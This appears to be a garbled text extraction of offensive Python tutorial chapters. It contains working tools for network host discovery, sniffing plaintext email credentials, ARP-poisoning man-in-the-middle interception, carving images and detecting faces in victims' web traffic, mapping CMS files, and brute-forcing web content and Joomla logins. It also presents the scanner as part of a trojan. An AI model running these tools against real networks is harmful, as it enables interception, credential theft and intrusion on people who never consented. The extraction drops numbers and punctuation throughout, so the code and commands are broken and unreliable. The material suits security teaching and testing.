let' test out our previous code to see what kind of information we are extracting from the raw packets being sent definitely recommend that you do this test from your windows machineas you will be able to see tcpudpand icmpwhich allows you to do some pretty neat testing (open up browserfor exampleif you are confined to linuxthen perform the previous ping test to see it in action open terminal and typepython sniffer_ip_header_decode py nowbecause windows is pretty chattyyou're likely to see output immediately tested this script by opening internet explorer and going to www google comand here is the output from our scriptprotocoludp - protocoludp - protocoludp - protocoltcp - protocoltcp - protocoltcp - protocoltcp - because we aren' doing any deep inspection on these packetswe can only guess what this stream is indicating my guess is that the first couple of udp packets are the dns queries to determine where google com livesand the subsequent tcp sessions are my machine actually connecting and downloading content from their web server to perform the same test on linuxwe can ping google comand the results will look something like thisprotocolicmp - protocolicmp - protocolicmp - you can already see the limitationwe are only seeing the response and only for the icmp protocol but because we are purposefully building host discovery scannerthis is completely acceptable we will now apply the same techniques we used to decode the ip header to decode the icmp messages
7,132
now that we can fully decode the ip layer of any sniffed packetswe have to be able to decode the icmp responses that our scanner will elicit from sending udp datagrams to closed ports icmp messages can vary greatly in their contentsbut each message contains three elements that stay consistentthe typecodeand checksum fields the type and code fields tell the receiving host what type of icmp message is arrivingwhich then dictates how to decode it properly for the purpose of our scannerwe are looking for type value of and code value of this corresponds to the destination unreachable class of icmp messagesand the code value of indicates that the port unreachable error has been caused refer to figure - for diagram of destination unreachable icmp message figure - diagram of destination unreachable icmp message as you can seethe first bits are the type and the second bits contain our icmp code one interesting thing to note is that when host sends one of these icmp messagesit actually includes the ip header of the originating message that generated the response we can also see that we will doublecheck against bytes of the original datagram that was sent in order to make sure our scanner generated the icmp response to do sowe simply slice off the last bytes of the received buffer to pull out the magic string that our scanner sends let' add some more code to our previous sniffer to include the ability to decode icmp packets let' save our previous file as sniffer_with_icmp py and add the following code--snip --class ip(structure)--snipclass icmp(structure)_fields_ ("type"c_ubyte)("code"c_ubyte)("checksum"c_ushort)("unused"c_ushort)("next_hop_mtu"c_ushortdef __new__(selfsocket_buffer)return self from_buffer_copy(socket_bufferdef __init__(selfsocket_buffer)pass --snipprint "protocol% % -% (ip_header protocolip_header src_ addressip_header dst_address
7,133
if it' icmpwe want it if ip_header protocol ="icmp"calculate where our icmp packet starts offset ip_header ihl buf raw_buffer[offset:offset sizeof(icmp)create our icmp structure icmp_header icmp(bufprint "icmp -type% code% (icmp_header typeicmp_header codethis simple piece of code creates an icmp structure underneath our existing ip structure when the main packet-receiving loop determines that we have received an icmp packet we calculate the offset in the raw packet where the icmp body lives and then create our buffer and print out the type and code fields the length calculation is based on the ip header ihl fieldwhich indicates the number of -bit words ( -byte chunkscontained in the ip header so by multiplying this field by we know the size of the ip header and thus when the next network layer -icmp in this case -begins if we quickly run this code with our typical ping testour output should now be slightly differentas shown belowprotocolicmp - icmp -type code this indicates that the ping (icmp echoresponses are being correctly received and decoded we are now ready to implement the last bit of logic to send out the udp datagramsand to interpret their results now let' add the use of the netaddr module so that we can cover an entire subnet with our host discovery scan save your sniffer_with_icmp py script as scanner py and add the following codeimport threading import time from netaddr import ipnetwork,ipaddress --snip-host to listen on host subnet to target subnet / magic string we'll check icmp responses for magic_message "pythonrules!this sprays out the udp datagrams def udp_sender(subnet,magic_message)time sleep( sender socket socket(socket af_inetsocket sock_dgramfor ip in ipnetwork(subnet)trysender sendto(magic_message,("%sip, )exceptpass --snip-start sending packets threading thread(target=udp_sender,args=(subnet,magic_message) start(
7,134
while true--snip-#print "icmp -type% code% (icmp_header typeicmp_header codenow check for the type and code if icmp_header code = and icmp_header type = make sure host is in our target subnet if ipaddress(ip_header src_addressin ipnetwork(subnet)make sure it has our magic message if raw_buffer[len(raw_buffer)-len(magic_message):=magic_messageprint "host up%sip_header src_address this last bit of code should be fairly straightforward to understand we define simple string signature so that we can test that the responses are coming from udp packets that we sent originally our udp_sender function simply takes in subnet that we specify at the top of our scriptiterates through all ip addresses in that subnetand fires udp datagrams at them in the main body of our scriptjust before the main packet decoding loopwe spawn udp_sender in separate thread to ensure that we aren' interfering with our ability to sniff responses if we detect the anticipated icmp messagewe first check to make sure that the icmp response is coming from within our target subnet we then perform our final check of making sure that the icmp response has our magic string in it if all of these checks passwe print out the source ip address of where the icmp message originated let' try it out
7,135
now let' take our scanner and run it against the local network you can use linux or windows for this as the results will be the same in my casethe ip address of the local machine was on was so set my scanner to hit / if the output is too noisy when you run your scannersimply comment out all print statements except for the last one that tells you what hosts are responding ta our scanner is going to use third-party library called netaddrwhich will allow us to feed in subnet mask such as / and have our scanner handle it appropriately download the library from hereorif you installed the python setup tools package in you can simply execute the following from command prompteasy_install netaddr the netaddr module makes it very easy to work with subnets and addressing for exampleyou can run simple tests like the following using the ipnetwork objectip_address if ip_address in ipnetwork( / ")print true or you can create simple iterators if you want to send packets to an entire networkfor ip in ipnetwork( / ") socket socket( connect((ip )send mail packets this will greatly simplify your programming life when dealing with entire networks at timeand it is ideally suited for our host discovery tool after it' installedyou are ready to proceed :\python \python exe scanner py host up host up host up host up for quick scan like the one performedit only took few seconds to get the results back by crossreferencing these ip addresses with the dhcp table in my home routeri was able to verify that the results were accurate you can easily expand what you've learned in this to decode tcp and udp packetsand build additional tooling around it this scanner is also useful for the trojan framework we will begin building in this would allow deployed trojan to scan the local network looking for additional targets now that we have the basics down of how networks work on high and low levellet' explore very mature python library called scapy [ an input/output control (ioctlis means for userspace programs to communicate with kernel mode components have read here
7,136
occasionallyyou run into such well thought-outamazing python library that dedicating whole to it can' do it justice philippe biondi has created such library in the packet manipulation library scapy you just might finish this and realize that made you do lot of work in the previous two that you could have done with just one or two lines of scapy scapy is powerful and flexibleand the possibilities are almost infinite we'll get taste of things by sniffing to steal plain text email credentials and then arp poisoning target machine on our network so that we can sniff their traffic we'll wrap things up by demonstrating how scapy' pcap processing can be extended to carve out images from http traffic and then perform facial detection on them to determine if there are humans present in the images recommend that you use scapy under linux systemas it was designed to work with linux in mind the newest version of scapy does support windows,[ but for the purpose of this will assume you are using your kali vm that has fully functioning scapy installation if you don' have scapyhead on over to
7,137
you have already spent some time getting into the nuts and bolts of sniffing in python so let' get to know scapy' interface for sniffing packets and dissecting their contents we are going to build very simple sniffer to capture smtppop and imap credentials laterby coupling our sniffer with our address resolution protocol (arppoisoning man-in-the-middle (mitmattackwe can easily steal credentials from other machines on the network this technique can of course be applied to any protocol or to simply suck in all traffic and store it in pcap file for analysiswhich we will also demonstrate to get feel for scapylet' start by building skeleton sniffer that simply dissects and dumps the packets out the aptly named sniff function looks like the followingsniff(filter="",iface="any",prn=function,count=nthe filter parameter allows us to specify bpf (wireshark-stylefilter to the packets that scapy sniffswhich can be left blank to sniff all packets for exampleto sniff all http packets you would use bpf filter of tcp port the iface parameter tells the sniffer which network interface to sniff onif left blankscapy will sniff on all interfaces the prn parameter specifies callback function to be called for every packet that matches the filterand the callback function receives the packet object as its single parameter the count parameter specifies how many packets you want to sniffif left blankscapy will sniff indefinitely let' start by creating simple sniffer that sniffs packet and dumps its contents we'll then expand it to only sniff email-related commands crack open mail_sniffer py and jam out the following codefrom scapy all import our packet callback def packet_callback(packet)print packet show(fire up our sniffer sniff(prn=packet_callback,count= we start by defining our callback function that will receive each sniffed packet and then simply tell scapy to start sniffing on all interfaces with no filtering now let' run the script and you should see output similar to what you see below python mail_sniffer py warningno route found for ipv destination :(no default route?###ethernet ]##dst : : :ab: : src : : :ff: : type ###ip ]##version ihl tos len id flags df frag ttl proto tcp chksum src dst \options ###tcp ]##
7,138
dport seq ack dataofs reserved flags window chksum urgptr options etlservicemgr [('nop'none)('nop'none)('timestamp'( ))none how incredibly easy was thatwe can see that when the first packet was received on the networkour callback function used the built-in function packet show(to display the packet contents and to dissect some of the protocol information using show(is great way to debug scripts as you are going along to make sure you are capturing the output you want now that we have our basic sniffer runninglet' apply filter and add some logic to our callback function to peel out email-related authentication strings from scapy all import our packet callback def packet_callback(packet)if packet[tcppayloadmail_packet str(packet[tcppayloadif "userin mail_packet lower(or "passin mail_packet lower()print "[*server%spacket[ipdst print "[*%spacket[tcppayload fire up our sniffer sniff(filter="tcp port or tcp port or tcp port ",prn=packet_ callback,store= pretty straightforward stuff here we changed our sniff function to add filter that only includes traffic destined for the common mail ports (pop ) (imap)and smtp ( we also used new parameter called storewhich when set to ensures that scapy isn' keeping the packets in memory it' good idea to use this parameter if you intend to leave long-term sniffer running because then you won' be consuming vast amounts of ram when our callback function is calledwe check to make sure it has data payload and whether the payload contains the typical user or pass mail commands if we detect an authentication stringwe print out the server we are sending it to and the actual data bytes of the packet
7,139
here is some example output from dummy email account attempted to connect my mail client to[*server [*user jms [*server [*pass justin [*server [*user jms [*server [*pass test you can see that my mail client is attempting to log in to the server at and sending the plain text credentials over the wire this is really simple example of how you can take scapy sniffing script and turn it into useful tool during penetration tests sniffing your own traffic might be funbut it' always better to sniff with friendso let' take look at how you can perform an arp poisoning attack to sniff the traffic of target machine on the same network
7,140
arp poisoning is one of the oldest yet most effective tricks in hacker' toolkit quite simplywe will convince target machine that we have become its gatewayand we will also convince the gateway that in order to reach the target machineall traffic has to go through us every computer on network maintains an arp cache that stores the most recent mac addresses that match to ip addresses on the local networkand we are going to poison this cache with entries that we control to achieve this attack because the address resolution protocol and arp poisoning in general is covered in numerous other materialsi'll leave it to you to do any necessary research to understand how this attack works at lower level now that we know what we need to dolet' put it into practice when tested thisi attacked real windows machine and used my kali vm as my attacking machine have also tested this code against various mobile devices connected to wireless access point and it worked great the first thing we'll do is check the arp cache on the target windows machine so we can see our attack in action later on examine the following to see how to inspect the arp cache on your windows vm :\users\clareipconfig windows ip configuration wireless lan adapter wireless network connectionconnection-specific dns suffix gateway pace com link-local ipv address fe :: : cd: : % ipv address subnet mask default gateway :\users\clarearp - interface -- xb internet address physical address -ea- - - - ff-ff-ff-ff-ff-ff ee- - -fb - - -fc ff-ff-ff-ff-ff-ff type dynamic static static static static static so now we can see that the gateway ip address is at and its associated arp cache entry has mac address of -ea- - - - we will take note of this because we can view the arp cache while the attack is ongoing and see that we have changed the gateway' registered mac address now that we know the gateway and our target ip addresslet' begin coding our arp poisoning script open new python filecall it arper pyand enter the following codefrom scapy all import import os import sys import threading import signal interface "en target_ip gateway_ip packet_count set our interface conf iface interface
7,141
conf verb print "[*setting up %sinterface gateway_mac get_mac(gateway_ipif gateway_mac is noneprint "[!!!failed to get gateway mac exiting sys exit( elseprint "[*gateway % is at % (gateway_ip,gateway_mactarget_mac get_mac(target_ipif target_mac is noneprint "[!!!failed to get target mac exiting sys exit( elseprint "[*target % is at % (target_ip,target_macstart poison thread poison_thread threading thread(target poison_targetargs (gateway_ipgateway_mac,target_ip,target_mac)poison_thread start(tryprint "[*starting sniffer for % packetspacket_count bpf_filter "ip host %starget_ip packets sniff(count=packet_count,filter=bpf_filter,iface=interfacewrite out the captured packets wrpcap('arper pcap',packetsrestore the network restore_target(gateway_ip,gateway_mac,target_ip,target_macexcept keyboardinterruptrestore the network restore_target(gateway_ip,gateway_mac,target_ip,target_macsys exit( this is the main setup portion of our attack we start by resolving the gateway and target ip address' corresponding mac addresses using function called get_mac that we'll plumb in shortly after we have accomplished thatwe spin up second thread to begin the actual arp poisoning attack in our main threadwe start up sniffer that will capture preset amount of packets using bpf filter to only capture traffic for our target ip address when all of the packets have been capturedwe write them out to pcap file so that we can open them in wireshark or use our upcoming image carving script against them when the attack is finishedwe call our restore_target function which is responsible for putting the network back to the way it was before the arp poisoning took place let' add the supporting functions now by punching in the following code above our previous code blockdef restore_target(gateway_ip,gateway_mac,target_ip,target_mac)slightly different method using send print "[*restoring target send(arp(op= psrc=gateway_ippdst=target_iphwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count= send(arp(op= psrc=target_ippdst=gateway_iphwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count= signals the main thread to exit
7,142
os kill(os getpid()signal sigintdef get_mac(ip_address)responses,unanswered srp(ether(dst="ff:ff:ff:ff:ff:ff")/arp(pdst=ip_address)timeout= ,retry= return the mac address from response for , in responsesreturn [ethersrc return none def poison_target(gateway_ip,gateway_mac,target_ip,target_mac)poison_target arp(poison_target op poison_target psrc gateway_ip poison_target pdst target_ip poison_target hwdsttarget_mac poison_gateway arp(poison_gateway op poison_gateway psrc target_ip poison_gateway pdst gateway_ip poison_gateway hwdstgateway_mac print "[*beginning the arp poison [ctrl- to stop]while truetrysend(poison_targetsend(poison_gatewaytime sleep( except keyboardinterruptrestore_target(gateway_ip,gateway_mac,target_ip,target_macprint "[*arp poison attack finished return so this is the meat and potatoes of the actual attack our restore_target function simply sends out the appropriate arp packets to the network broadcast address to reset the arp caches of the gateway and target machines we also send signal to the main thread to exitwhich will be useful in case our poisoning thread runs into an issue or you hit ctrl- on your keyboard our get_mac function is responsible for using the srp (send and receive packetfunction to emit an arp request to the specified ip address in order to resolve the mac address associated with it our poison_target function builds up arp requests for poisoning both the target ip and the gateway by poisoning both the gateway and the target ip addresswe can see traffic flowing in and out of the target we keep emitting these arp requests in loop to make sure that the respective arp cache entries remain poisoned for the duration of our attack let' take this bad boy for spin
7,143
before we beginwe need to first tell our local host machine that we can forward packets along to both the gateway and the target ip address if you are on your kali vmenter the following command into your terminal#:echo /proc/sys/net/ipv /ip_forward if you are an apple fanboythen use the following commandfanboy:tmp justinsudo sysctl - net inet ip forwarding= now that we have ip forwarding in placelet' fire up our script and check the arp cache of our target machine from your attacking machinerun the following (as root)fanboy:tmp justinsudo python arper py warningno route found for ipv destination :(no default route?[*setting up en [*gateway is at :ea: : : : [*target is at : : :ec: : [*beginning the arp poison [ctrl- to stop[*starting sniffer for packets awesomeno errors or other weirdness now let' validate the attack on our target machinec:\users\clarearp - interface -- xb internet address physical address - - -ab- - - - -ab- - ff-ff-ff-ff-ff-ff - - -fb - - -fc ff-ff-ff-ff-ff-ff type dynamic dynamic static static static static static you can now see that poor clare (it' hard being married to hackerhackinain' easyetc now has her arp cache poisoned where the gateway now has the same mac address as the attacking computer you can clearly see in the entry above the gateway that ' attacking from when the attack is finished capturing packetsyou should see an arper pcap file in the same directory as your script you can of course do things such as force the target computer to proxy all of its traffic through local instance of burp or do any number of other nasty things you might want to hang on to that pcap for the next section on pcap processing -you never know what you might find
7,144
wireshark and other tools like network miner are great for interactively exploring packet capture filesbut there will be times where you want to slice and dice pcaps using python and scapy some great use cases are generating fuzzing test cases based on captured network traffic or even something as simple as replaying traffic that you have previously captured we are going to take slightly different spin on this and attempt to carve out image files from http traffic with these image files in handwe will use opencv,[ computer vision toolto attempt to detect images that contain human faces so that we can narrow down images that might be interesting we can use our previous arp poisoning script to generate the pcap files or you could extend the arp poisoning sniffer to do on-thefly facial detection of images while the target is browsing let' get started by dropping in the code necessary to perform the pcap analysis open pic_carver py and enter the following codeimport re import zlib import cv from scapy all import pictures_directory "/home/justin/pic_carver/picturesfaces_directory "/home/justin/pic_carver/facespcap_file "bhp pcapdef http_assembler(pcap_file)carved_images faces_detected rdpcap(pcap_filesessions sessions(for session in sessionshttp_payload "for packet in sessions[session]tryif packet[tcpdport = or packet[tcpsport = reassemble the stream http_payload +str(packet[tcppayloadexceptpass headers get_http_headers(http_payloadif headers is nonecontinue image,image_type extract_image(headers,http_payloadif image is not none and image_type is not nonestore the image file_name "% -pic_carver_% % (pcap_file,carved_images,image_typefd open("% /% (pictures_directory,file_name),"wb"
7,145
fd close(carved_images + now attempt face detection tryresult face_detect("% /% (pictures_directory,file_name),file_nameif result is truefaces_detected + exceptpass return carved_imagesfaces_detected carved_imagesfaces_detected http_assembler(pcap_fileprint "extracted% imagescarved_images print "detected% facesfaces_detected this is the main skeleton logic of our entire scriptand we will add in the supporting functions shortly to startwe open the pcap file for processing we take advantage of beautiful feature of scapy to automatically separate each tcp session into dictionary we use that and filter out only http trafficand then concatenate the payload of all of the http traffic into single buffer this is effectively the same as right-clicking in wireshark and selecting follow tcp stream after we have the http data reassembledwe pass it off to our http header parsing function which will allow us to inspect the http headers individually after we validate that we are receiving an image back in an http responsewe extract the raw image and return the image type and the binary body of the image itself this is not bulletproof image extraction routinebut as you'll seeit works amazingly well we store the extracted image and then pass the file path along to our facial detection routine now let' create the supporting functions by adding the following code above our http_assembler function def get_http_headers(http_payload)trysplit the headers off if it is http traffic headers_raw http_payload[:http_payload index("\ \ \ \ ")+ break out the headers headers dict(re findall( "(? *?)(? *?)\ \ "headers_raw)exceptreturn none if "content-typenot in headersreturn none return headers def extract_image(headers,http_payload)image none image_type none tryif "imagein headers['content-type']
7,146
image_type headers['content-type'split("/")[ image http_payload[http_payload index("\ \ \ \ ")+ :if we detect compression decompress the image tryif "content-encodingin headers keys()if headers['content-encoding'="gzip"image zlib decompress(image +zlib max_wbitselif headers['content-encoding'="deflate"image zlib decompress(imageexceptpass exceptreturn none,none return image,image_type these supporting functions help us to take closer look at the http data that we retrieved from our pcap file the get_http_headers function takes the raw http traffic and splits out the headers using regular expression the extract_image function takes the http headers and determines whether we received an image in the http response if we detect that the content-type header does indeed contain the image mime typewe split out the type of imageand if there is compression applied to the image in transitwe attempt to decompress it before returning the image type and the raw image buffer now let' drop in our facial detection code to determine if there is human face in any of the images that we retrieved add the following code to pic_carver pydef face_detect(path,file_name)img cv imread(pathcascade cv cascadeclassifier("haarcascade_frontalface_alt xml"rects cascade detectmultiscale(img cv cv cv_haar_ scale_image( , )if len(rects= return false rects[: :+rects[:: highlight the faces in the image for , , , in rectscv rectangle(img,( , ),( , ),( , , ), cv imwrite("% /% -% (faces_directory,pcap_file,file_name),imgreturn true this code was generously shared by chris fidao at slight modifications by yours truly using the opencv python bindingswe can read in the image and then apply classifier that is trained in advance for detecting faces in front-facing orientation there are classifiers for profile (sidewaysface detectionhandsfruitand whole host of other objects that you can try out for yourself after the detection has been runit will return rectangle coordinates that correspond to where the face was detected in the image we then draw an actual green rectangle over that area and write out the resulting image now let' take this all for spin inside your kali vm
7,147
if you haven' first installed the opencv librariesrun the following commands (againthank youchris fidaofrom terminal in your kali vm#:apt-get install python-opencv python-numpy python-scipy this should install all of the necessary files needed to handle facial detection on our resulting images we also need to grab the facial detection training file like sowget now create couple of directories for our outputdrop in pcapand run the script this should look something like this#:mkdir pictures #:mkdir faces #:python pic_carver py extracted images detected faces #:you might see number of error messages being produced by opencv due to the fact that some of the images we fed into it may be corrupt or partially downloaded or their format might not be supported ( 'll leave building robust image extraction and validation routine as homework assignment for you if you crack open your faces directoryyou should see number of files with faces and magic green boxes drawn around them this technique can be used to determine what types of content your target is looking atas well as to discover likely approaches via social engineering you can of course extend this example beyond using it against carved images from pcaps and use it in conjunction with web crawling and parsing techniques described in later [ [ check out opencv here
7,148
analyzing web applications is absolutely critical for an attacker or penetration tester in most modern networksweb applications present the largest attack surface and so are also the most common avenue for gaining access there are number of excellent web application tools that have been written in pythonincluding afsqlmapand others quite franklytopics such as sql injection have been beaten to deathand the tooling available is mature enough that we don' need to reinvent the wheel insteadwe'll explore the basics of interacting with the web using pythonand then build on this knowledge to create reconnaissance and brute-force tooling you'll see how html parsing can be useful in creating brute forcersrecon toolingand mining text-heavy sites the idea is to create few different tools to give you the fundamental skills you need to build any type of web application assessment tool that your particular attack scenario calls for
7,149
much like writing network tooling with the socket librarywhen you're creating tools to interact with web servicesyou'll use the urllib library let' take look at making very simple get request to the no starch press websiteimport urllib body urllib urlopen(print body read(this is the simplest example of how to make get request to website be mindful that we are just fetching the raw page from the no starch websiteand that no javascript or other client-side languages will execute we simply pass in url to the urlopen function and it returns file-like object that allows us to read back the body of what the remote web server returns in most caseshoweveryou are going to want more finely grained control over how you make these requestsincluding being able to define specific headershandle cookiesand create post requests urllib exposes request class that gives you this level of control below is an example of how to create the same get request using the request class and defining custom user-agent http headerimport urllib url headers {headers['user-agent'"googlebotrequest urllib request(url,headers=headersresponse urllib urlopen(requestprint response read(response close(the construction of request object is slightly different than our previous example to create custom headersyou define headers dictionary which allows you to then set the header key and value that you want to use in this casewe're going to make our python script appear to be the googlebot we then create our request object and pass in the url and the headers dictionary and then pass the request object to the urlopen function call this returns normal file-like object that we can use to read in the data from the remote website we now have the fundamental means to talk to web services and websitesso let' create some useful tooling for any web application attack or penetration test
7,150
content management systems and blogging platforms such as joomlawordpressand drupal make starting new blog or website simpleand they're relatively common in shared hosting environment or even an enterprise network all systems have their own challenges in terms of installationconfigurationand patch managementand these cms suites are no exception when an overworked sysadmin or hapless web developer doesn' follow all security and installation proceduresit can be easy pickings for an attacker to gain access to the web server because we can download any open source web application and locally determine its file and directory structurewe can create purpose-built scanner that can hunt for all files that are reachable on the remote target this can root out leftover installation filesdirectories that should be protected by htaccess filesand other goodies that can assist an attacker in getting toehold on the web server this project also introduces you to using python queue objectswhich allow us to build largethread-safe stack of items and have multiple threads pick items for processing this will allow our scanner to run very rapidly let' open web_app_mapper py and enter the following codeimport queue import threading import os import urllib threads target "directory "/users/justin/downloads/joomla-filters [jpg",gif","png",css"os chdir(directoryweb_paths queue queue(for , , in os walk(")for files in fremote_path "% /% ( ,filesif remote_path startswith(")remote_path remote_path[ :if os path splitext(files)[ not in filtersweb_paths put(remote_pathdef test_remote()while not web_paths empty()path web_paths get(url "% % (targetpathrequest urllib request(urltryresponse urllib urlopen(requestcontent response read(print "[% =% (response code,pathresponse close(except urllib httperror as error#print "failed %serror code pass for in range(threads)print "spawning thread%di threading thread(target=test_remotet start(
7,151
downloaded and extracted the web application we also create simple list of file extensions that we are not interested in fingerprinting this list can be different depending on the target application the web_paths variable is our queue object where we will store the files that we'll attempt to locate on the remote server we then use the os walk function to walk through all of the files and directories in the local web application directory as we walk through the files and directorieswe're building the full path to the target files and testing them against our filter list to make sure we are only looking for the file types we want for each valid file we find locallywe add it to our web_paths queue looking at the bottom of the script we are creating number of threads (as set at the top of the filethat will each be called the test_remote function the test_remote function operates in loop that will keep executing until the web_paths queue is empty on each iteration of the loopwe grab path from the queue add it to the target website' base pathand then attempt to retrieve it if we're successful in retrieving the filewe output the http status code and the full path to the file if the file is not found or is protected by an htaccess filethis will cause urllib to throw an errorwhich we handle so the loop can continue executing
7,152
for testing purposesi installed joomla into my kali vmbut you can use any open source web application that you can quickly deploy or that you have running already when you run web_app_mapper pyyou should see output like the followingspawning thread spawning thread spawning thread spawning thread spawning thread spawning thread spawning thread spawning thread spawning thread spawning thread [ =/htaccess txt [ =/web config txt [ =/license txt [ =/readme txt [ =/administrator/cache/index html [ =/administrator/components/index html [ =/administrator/components/com_admin/controller php [ =/administrator/components/com_admin/script php [ =/administrator/components/com_admin/admin xml [ =/administrator/components/com_admin/admin php [ =/administrator/components/com_admin/helpers/index html [ =/administrator/components/com_admin/controllers/index html [ =/administrator/components/com_admin/index html [ =/administrator/components/com_admin/helpers/html/index html [ =/administrator/components/com_admin/models/index html [ =/administrator/components/com_admin/models/profile php [ =/administrator/components/com_admin/controllers/profile php you can see that we are picking up some valid results including some txt files and xml files of courseyou can build additional intelligence into the script to only return files you're interested in -such as those with the word install in them
7,153
the previous example assumed lot of knowledge about your target but in many cases where you're attacking custom web application or large -commerce systemyou won' be aware of all of the files accessible on the web server generallyyou'll deploy spidersuch as the one included in burp suiteto crawl the target website in order to discover as much of the web application as possible howeverin lot of cases there are configuration filesleftover development filesdebugging scriptsand other security breadcrumbs that can provide sensitive information or expose functionality that the software developer did not intend the only way to discover this content is to use brute-forcing tool to hunt down common filenames and directories we'll build simple tool that will accept wordlists from common brute forcers such as the dirbuster project[ or svndigger,[ and attempt to discover directories and files that are reachable on the target web server as beforewe'll create pool of threads to aggressively attempt to discover content let' start by creating some functionality to create queue out of wordlist file open up new filename it content_bruter pyand enter the following codeimport urllib import threading import queue import urllib threads target_url wordlist_file resume user_agent ""/tmp/all txtfrom svndigger none "mozilla/ ( linux rv: gecko/ firefox/ def build_wordlist(wordlist_file)read in the word list fd open(wordlist_file,"rb"raw_words fd readlines(fd close(found_resume false words queue queue(for word in raw_wordsword word rstrip(if resume is not noneif found_resumewords put(wordelseif word =resumefound_resume true print "resuming wordlist from%sresume elsewords put(wordreturn words this helper function is pretty straightforward we read in wordlist file and then begin iterating over each line in the file we have some built-in functionality that allows us to resume bruteforcing session if our network connectivity is interrupted or the target site goes down this can be achieved by simply setting the resume variable to the last path that the brute forcer tried when the
7,154
function we will reuse this function later in this we want some basic functionality to be available to our brute-forcing script the first is the ability to apply list of extensions to test for when making requests in some casesyou want to try not only the /admin directly for examplebut admin phpadmin incand admin html def dir_bruter(word_queue,extensions=none)while not word_queue empty()attempt word_queue get(attempt_list [check to see if there is file extensionif notit' directory path we're bruting if not in attemptattempt_list append("/% /attemptelseattempt_list append("/%sattemptif we want to bruteforce extensions if extensionsfor extension in extensionsattempt_list append("/% % (attempt,extension)iterate over our list of attempts for brute in attempt_listurl "% % (target_url,urllib quote(brute)tryheaders {headers["user-agent"user_agent urllib request(url,headers=headersresponse urllib urlopen(rif len(response read())print "[% =% (response code,urlexcept urllib urlerror,eif hasattr( 'code'and code ! print "!!% =% ( code,urlpass our dir_bruter function accepts queue object that is populated with words to use for bruteforcing and an optional list of file extensions to test we begin by testing to see if there is file extension in the current word and if there isn'twe treat it as directory that we want to test for on the remote web server if there is list of file extensions passed in then we take the current word and apply each file extension that we want to test for it can be useful here to think of using extensions like orig and bak on top of the regular programming language extensions after we build list of brute-forcing attemptswe set the user-agent header to something innocuous and test the remote web server if the response code is we output the url and if we receive anything but we also output it because this could indicate something interesting on the remote web server aside from "file not founderror it' useful to pay attention to and react to your output becausedepending on the configuration of the remote web serveryou may have to filter out more http error codes in order to clean up your
7,155
up the brute-forcing threads word_queue build_wordlist(wordlist_fileextensions [php",bak",orig",inc"for in range(threads) threading thread(target=dir_bruter,args=(word_queue,extensions,) start(the code snip above is pretty straightforward and should look familiar by now we get our list of words to brute-forcecreate simple list of file extensions to test forand then spin up bunch of threads to do the brute-forcing
7,156
owasp has list of online and offline (virtual machinesisosetc vulnerable web applications that you can test your tooling against in this casethe url that is referenced in the source code points to an intentionally buggy web application hosted by acunetix the cool thing is that it shows you how effective brute-forcing web application can be recommend you set the thread_count variable to something sane such as and run the script in short orderyou should start seeing results such as the ones below[ =[ =[ =[ =[ =[ =[ =[ =[ =you can see that we are pulling some interesting results from the remote website cannot stress enough the importance to perform content brute-forcing against all of your web application targets
7,157
there may come time in your web hacking career where you need to either gain access to targetor if you're consultingyou might need to assess the password strength on an existing web system it has become more and more common for web systems to have brute-force protectionwhether captchaa simple math equationor login token that has to be submitted with the request there are number of brute forcers that can do the brute-forcing of post request to the login scriptbut in lot of cases they are not flexible enough to deal with dynamic content or handle simple "are you humanchecks we'll create simple brute forcer that will be useful against joomlaa popular content management system modern joomla systems include some basic anti-brute-force techniquesbut still lack account lockouts or strong captchas by default in order to brute-force joomlawe have two requirements that need to be metretrieve the login token from the login form before submitting the password attempt and ensure that we accept cookies in our urllib session in order to parse out the login form valueswe'll use the native python class htmlparser this will also be good whirlwind tour of some additional features of urllib that you can employ when building tooling for your own targets let' get started by having look at the joomla administrator login form this can be found by browsing to form elements <form action="/administrator/index phpmethod="postid="form-loginclass="form-inline"<input name="usernametabindex=" id="mod-login-usernametype="textclass="input-mediumplaceholder="user namesize=" "/<input name="passwdtabindex=" id="mod-login-passwordtype="passwordclass="input-mediumplaceholder="passwordsize=" "/language default english (united kingdomreading through this formwe are privy to some valuable information that we'll need to incorporate into our brute forcer the first is that the form gets submitted to the /administrator/index php path as an http post the next are all of the fields required in order for the form submission to be successful in particularif you look at the last hidden fieldyou'll see that its name attribute is set to longrandomized string this is the essential piece of joomla' anti-brute-forcing technique that randomized string is checked against your current user sessionstored in cookieand even if you are passing the correct credentials into the login processing scriptif the randomized token is not presentthe authentication will fail this means we have to use the following request flow in our brute forcer in order to be successful against joomla retrieve the login pageand accept all cookies that are returned parse out all of the form elements from the html set the username and/or password to guess from our dictionary
7,158
stored cookies test to see if we have successfully logged in to the web application you can see that we are going to be utilizing some new and valuable techniques in this script will also mention that you should never "trainyour tooling on live targetalways set up an installation of your target web application with known credentials and verify that you get the desired results let' open new python file named joomla_killer py and enter the following codeimport urllib import urllib import cookielib import threading import sys import queue from htmlparser import htmlparser general settings user_thread username "adminwordlist_file "/tmp/cain txtresume none target specific settings target_url "target_post username_field"usernamepassword_field"passwdsuccess_check "administration control panelthese general settings deserve bit of explanation the target_url variable is where our script will first download and parse the html the target_post variable is where we will submit our brute-forcing attempt based on our brief analysis of the html in the joomla loginwe can set the username_field and password_field variables to the appropriate name of the html elements our success_check variable is string that we'll check for after each brute-forcing attempt in order to determine whether we are successful or not let' now create the plumbing for our brute forcersome of the following code will be familiar so 'll only highlight the newest techniques class bruter(object)def __init__(selfusernamewords)self username username self password_q words self found false print "finished setting up for%susername def run_bruteforce(self)for in range(user_thread) threading thread(target=self web_brutert start(def web_bruter(self)while not self password_q empty(and not self foundbrute self password_q get(rstrip(jar cookielib filecookiejar("cookies"opener urllib build_opener(urllib httpcookieprocessor(jar)
7,159
